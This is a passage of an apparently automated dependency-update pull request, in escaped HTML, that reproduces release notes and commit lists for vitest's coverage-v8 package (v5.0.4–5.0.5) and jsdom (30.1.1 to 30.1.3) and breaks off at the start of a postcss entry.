href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev5.0.4\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eexperimental\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eTag cache directories with CACHEDIR.TAG  -  by \u003ca href=\"https://github.com/lifeiscontent\"\u003e\u003ccode\u003e@​lifeiscontent\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11461\"\u003evitest-dev/vitest#11461\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a8ea3c8fd\"\u003e\u003c!-- raw HTML omitted --\u003e(a8ea3)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport \u003ccode\u003etest.ui.theme\u003c/code\u003e option  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11499\"\u003evitest-dev/vitest#11499\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/1da66405d\"\u003e\u003c!-- raw HTML omitted --\u003e(1da66)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHighlight selector multiple matches in trace view  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11489\"\u003evitest-dev/vitest#11489\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5abba1e1b\"\u003e\u003c!-- raw HTML omitted --\u003e(5abba)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePrint how many tests were affected and a total when running \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11424\"\u003evitest-dev/vitest#11424\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a23368585\"\u003e\u003c!-- raw HTML omitted --\u003e(a2336)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd an option to cache dependencies instead of statically parsing them  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11515\"\u003evitest-dev/vitest#11515\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/c06012ac8\"\u003e\u003c!-- raw HTML omitted --\u003e(c0601)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd fit and zoom controls to trace viewer  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11490\"\u003evitest-dev/vitest#11490\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f5dd99ed0\"\u003e\u003c!-- raw HTML omitted --\u003e(f5dd9)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFail the run on git and location filter errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11430\"\u003evitest-dev/vitest#11430\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/30d0304d2\"\u003e\u003c!-- raw HTML omitted --\u003e(30d03)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEnable fsModuleCache by default  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11435\"\u003evitest-dev/vitest#11435\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ad208cc29\"\u003e\u003c!-- raw HTML omitted --\u003e(ad208)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTrack project files and mocks with --changed  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11432\"\u003evitest-dev/vitest#11432\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b0f2b3bb9\"\u003e\u003c!-- raw HTML omitted --\u003e(b0f2b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRefactor caching, fix \u003ccode\u003e:\u003c/code\u003e in project and change the shape of \u003ccode\u003eresults\u003c/code\u003e cache  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11453\"\u003evitest-dev/vitest#11453\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9673c49a4\"\u003e\u003c!-- raw HTML omitted --\u003e(9673c)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep full \u003ccode\u003e$\u003c/code\u003e string values when \u003ccode\u003etaskTitleValueFormatTruncate\u003c/code\u003e is 0  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11485\"\u003evitest-dev/vitest#11485\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4f7e1799b\"\u003e\u003c!-- raw HTML omitted --\u003e(4f7e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve node builtins in client environments  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11417\"\u003evitest-dev/vitest#11417\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/56b319ac6\"\u003e\u003c!-- raw HTML omitted --\u003e(56b31)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix module graph builtin externals after \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11421\"\u003e#11421\u003c/a\u003e  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11491\"\u003evitest-dev/vitest#11491\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11421\"\u003evitest-dev/vitest#11421\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/008e184cb\"\u003e\u003c!-- raw HTML omitted --\u003e(008e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWrap module mocks during in-source testing  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11505\"\u003evitest-dev/vitest#11505\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/36d19cb00\"\u003e\u003c!-- raw HTML omitted --\u003e(36d19)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle line endings in snapshot  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11522\"\u003evitest-dev/vitest#11522\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4c468aa40\"\u003e\u003c!-- raw HTML omitted --\u003e(4c468)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRespect root in projects  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11521\"\u003evitest-dev/vitest#11521\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/26642f793\"\u003e\u003c!-- raw HTML omitted --\u003e(26642)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve mocks in directories with spaces  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11539\"\u003evitest-dev/vitest#11539\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/caaef9416\"\u003e\u003c!-- raw HTML omitted --\u003e(caaef)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePublish the api token atomically  -  by \u003ca href=\"https://github.com/umairnawaz333\"\u003e\u003ccode\u003e@​umairnawaz333\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11323\"\u003evitest-dev/vitest#11323\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6f990fef1\"\u003e\u003c!-- raw HTML omitted --\u003e(6f990)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6a11cf66f99fa610b7364363d5ca42b66d994f40\"\u003e\u003ccode\u003e6a11cf6\u003c/code\u003e\u003c/a\u003e chore: release v5.0.4 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11554\"\u003e#11554\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/2297d93a854968d2ffee6025700c69099e6b7f80\"\u003e\u003ccode\u003e2297d93\u003c/code\u003e\u003c/a\u003e fix(coverage): v8 browser memory leak between test files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11466\"\u003e#11466\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/c74e099a9d17e24e9816878165af4818df84a631\"\u003e\u003ccode\u003ec74e099\u003c/code\u003e\u003c/a\u003e fix(deps): update all non-major dependencies (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/11167\"\u003e#11167\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v5.0.5/packages/coverage-v8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `jsdom` from 30.1.1 to 30.1.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jsdom/jsdom/releases\"\u003ejsdom's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev30.1.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved performance of \u003ccode\u003egetComputedStyle()\u003c/code\u003e and computed CSS property reads, including with stylesheets containing attribute selectors. (\u003ca href=\"https://github.com/scttcper\"\u003e\u003ccode\u003e@​scttcper\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/asamuzaK\"\u003e\u003ccode\u003e@​asamuzaK\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed slowdowns when focusing elements and running interaction tests, which regressed in v30.1.2. (\u003ca href=\"https://github.com/scttcper\"\u003e\u003ccode\u003e@​scttcper\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eXMLHttpRequest\u003c/code\u003e reusing credentials supplied to \u003ccode\u003exhr.open()\u003c/code\u003e after cross-origin redirects, including in response to authentication challenges from the destination.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eXMLHttpRequest\u003c/code\u003e incorrectly sending and accepting cookies after cross-origin redirects back to the document's origin when \u003ccode\u003exhr.withCredentials\u003c/code\u003e is false.\u003c/li\u003e\n\u003cli\u003eFixed exceptions from malformed CSS math functions, such as \u003ccode\u003ecalc(0px - @submenu_space)\u003c/code\u003e, while parsing documents, stylesheets, and style declarations. (\u003ca href=\"https://github.com/rnavarro\"\u003e\u003ccode\u003e@​rnavarro\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003egetComputedStyle()\u003c/code\u003e ignoring style rules nested inside multiple \u003ccode\u003e@media\u003c/code\u003e rules.\u003c/li\u003e\n\u003cli\u003eFixed CSS shorthands overwriting longhands with higher priority or specificity during style computation, including declarations containing CSS variables.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003egetComputedStyle()\u003c/code\u003e returning unresolved or inconsistent shorthand values, including for 'background', 'border', 'flex', 'font', 'margin', and 'padding', and incorrect shorthand defaults and inheritance.\u003c/li\u003e\n\u003cli\u003eFixed computed background positions to resolve font-relative lengths using the final font size and handle multiple image layers correctly.\u003c/li\u003e\n\u003cli\u003eFixed computed 'color' values depending on property read order, including unresolved \u003ccode\u003ecolor-mix()\u003c/code\u003e results, which regressed in v29.0.2.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003ecurrentcolor\u003c/code\u003e border colors incorrectly becoming transparent when 'color' uses \u003ccode\u003elight-dark()\u003c/code\u003e or relative color syntax.\u003c/li\u003e\n\u003cli\u003eFixed CSS calculations that reduce to a percentage incorrectly producing pixel values, which regressed in v30.0.0.\u003c/li\u003e\n\u003cli\u003eFixed numeric font weights in the 'font' shorthand incorrectly setting 'line-height'.\u003c/li\u003e\n\u003cli\u003eFixed selector matching involving XML namespaces, and selectors such as \u003ccode\u003e[data-a|=\u0026quot;\u0026quot;]\u003c/code\u003e failing to match empty values and values beginning with \u003ccode\u003e-\u003c/code\u003e. (\u003ca href=\"https://github.com/asamuzaK\"\u003e\u003ccode\u003e@​asamuzaK\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev30.1.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated URLs to support Unicode v18.0.0 in internationalized domain names.\u003c/li\u003e\n\u003cli\u003eReduced package size and memory use for CSS property definitions. (\u003ca href=\"https://github.com/scttcper\"\u003e\u003ccode\u003e@​scttcper\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed severe slowdowns when building large DOM trees, including SVG charts with D3, which regressed in v30.1.0. (\u003ca href=\"https://github.com/cmdcolin\"\u003e\u003ccode\u003e@​cmdcolin\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed exponentially slow reads of empty inherited CSS custom properties in deeply nested documents, and custom properties incorrectly inheriting past an \u003ccode\u003einitial\u003c/code\u003e reset. (\u003ca href=\"https://github.com/scttcper\"\u003e\u003ccode\u003e@​scttcper\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003egetComputedStyle()\u003c/code\u003e returning stale results after editing stylesheet declarations, selectors, or media queries, including in imported stylesheets.\u003c/li\u003e\n\u003cli\u003eFixed selector matching and computed styles after changes to form control checkedness, indeterminacy, selection, values, and validity, including during form resets and canceled clicks.\u003c/li\u003e\n\u003cli\u003eFixed computed styles for \u003ccode\u003e:focus\u003c/code\u003e, \u003ccode\u003e:focus-visible\u003c/code\u003e, \u003ccode\u003e:focus-within\u003c/code\u003e, and selectors containing them after focus changes, including inside focus and blur listeners. (\u003ca href=\"https://github.com/asamuzaK\"\u003e\u003ccode\u003e@​asamuzaK\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eelement.focus()\u003c/code\u003e incorrectly focusing elements hidden by 'display', including through shadow hosts and slots, and elements excluded by shadow DOM slot assignment. (\u003ca href=\"https://github.com/asamuzaK\"\u003e\u003ccode\u003e@​asamuzaK\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003egetComputedStyle()\u003c/code\u003e throwing for elements without inline-style support, including XML and MathML elements.\u003c/li\u003e\n\u003cli\u003eFixed a memory leak where stylesheet parsing retained the last parsed stylesheet's window after \u003ccode\u003ewindow.close()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed memory growth from long-lived \u003ccode\u003eMutationObserver\u003c/code\u003e instances retaining bookkeeping for garbage-collected nodes. (\u003ca href=\"https://github.com/scttcper\"\u003e\u003ccode\u003e@​scttcper\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed retained \u003ccode\u003eselect.selectedOptions\u003c/code\u003e collections becoming stale after selection changes and form resets.\u003c/li\u003e\n\u003cli\u003eFixed rejection of negative CSS sizing values, including for 'min-width', 'min-height', 'max-width', and 'max-height', which regressed in v30.1.0.\u003c/li\u003e\n\u003cli\u003eFixed handling of deeply nested \u003ccode\u003ecolor-mix()\u003c/code\u003e expressions, including exceptions during color resolution. (\u003ca href=\"https://github.com/asamuzaK\"\u003e\u003ccode\u003e@​asamuzaK\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/058c0f55f369a70bcb113d660ae562b9066f2d44\"\u003e\u003ccode\u003e058c0f5\u003c/code\u003e\u003c/a\u003e 30.1.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/fcd1fd186401a01a754d124259bf3462ebde29e1\"\u003e\u003ccode\u003efcd1fd1\u003c/code\u003e\u003c/a\u003e Cascade parsed longhands independently\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/a3ee78607d8b148c252ccf0626e10eed63ee3e49\"\u003e\u003ccode\u003ea3ee786\u003c/code\u003e\u003c/a\u003e Cascade computed style properties on demand\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/f42dc159106131691e16b6af6303a2291f4649e2\"\u003e\u003ccode\u003ef42dc15\u003c/code\u003e\u003c/a\u003e Resolve colors before caching or using currentcolor\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/074b1fb31d0eceeb3cd8cf4a97a4ce9e2b26643c\"\u003e\u003ccode\u003e074b1fb\u003c/code\u003e\u003c/a\u003e Compute background-position lengths against the final font size\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/d19598cd3b306b349f7f37d146b83a611f30e3c2\"\u003e\u003ccode\u003ed19598c\u003c/code\u003e\u003c/a\u003e Apply style rules nested in multiple \u003ca href=\"https://github.com/media\"\u003e\u003ccode\u003e@​media\u003c/code\u003e\u003c/a\u003e rules\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/45d626c988603e102bf4633d853d9069c88ac653\"\u003e\u003ccode\u003e45d626c\u003c/code\u003e\u003c/a\u003e Rule out attribute selector subjects before matching\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/3ff0a5b986cb9e852c9ee53784c7e06b83f72f2c\"\u003e\u003ccode\u003e3ff0a5b\u003c/code\u003e\u003c/a\u003e Upgrade Undici and remove abort workarounds\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/8813bb1b0ad45a822fe2d537f2613c292f9bf63a\"\u003e\u003ccode\u003e8813bb1\u003c/code\u003e\u003c/a\u003e Ignore CSS declarations with unparseable math functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/63712d8c66cad4db5e4691fd86e4de95d73c6642\"\u003e\u003ccode\u003e63712d8\u003c/code\u003e\u003c/a\u003e Fix XHR credentials across redirects\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/jsdom/jsdom/compare/v30.1.1...v30.1.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `postcss` from 8.5.29 to 8.5.31\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's 